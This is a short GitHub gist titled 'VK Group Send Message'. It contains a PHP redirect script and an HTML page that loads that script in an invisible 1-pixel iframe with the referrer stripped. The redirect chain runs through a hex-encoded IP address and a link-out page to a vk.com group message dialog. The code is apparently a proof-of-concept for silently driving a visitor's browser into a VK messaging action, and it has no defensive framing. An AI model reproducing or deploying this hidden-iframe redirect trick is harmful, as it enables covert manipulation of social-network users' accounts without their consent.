Skip to content

Instantly share code, notes, and snippets.

@sanasol
Created March 1, 2017 12:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sanasol/fa5f348d046bf363c1f6c84cc4aff92c to your computer and use it in GitHub Desktop.
Save sanasol/fa5f348d046bf363c1f6c84cc4aff92c to your computer and use it in GitHub Desktop.
VK Group Send Message
<?php
if(isset($_REQUEST['1'])){
$id = $_REQUEST['1'];
$level1 = "http://sanasol-test.ru/fb/send.php?2={$id}";
header('Location: http://0x57F0A552/away.php?to='.urlencode($level1));
die();
}
if(isset($_REQUEST['2'])){
$id = $_REQUEST['2'];
$level2 = "https://vk.com/im?sel=-{$id}";
header('Location: '.$level2);
die();
}
<!DOCTYPE HTML>
<html lang="ru-RU">
<head>
<meta charset="UTF-8">
</head>
<body>
<script type="text/javascript">
var group_id = 141530628;
var ifr = document.createElement("iframe");
ifr.style = "opacity: 0;position: absolute;height: 1px;width: 1px;";
ifr.setAttribute("referrerpolicy", "no-referrer");
ifr.src = '//sanasol-test.ru/fb/send.php?1='+group_id;
document.body.append(ifr);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment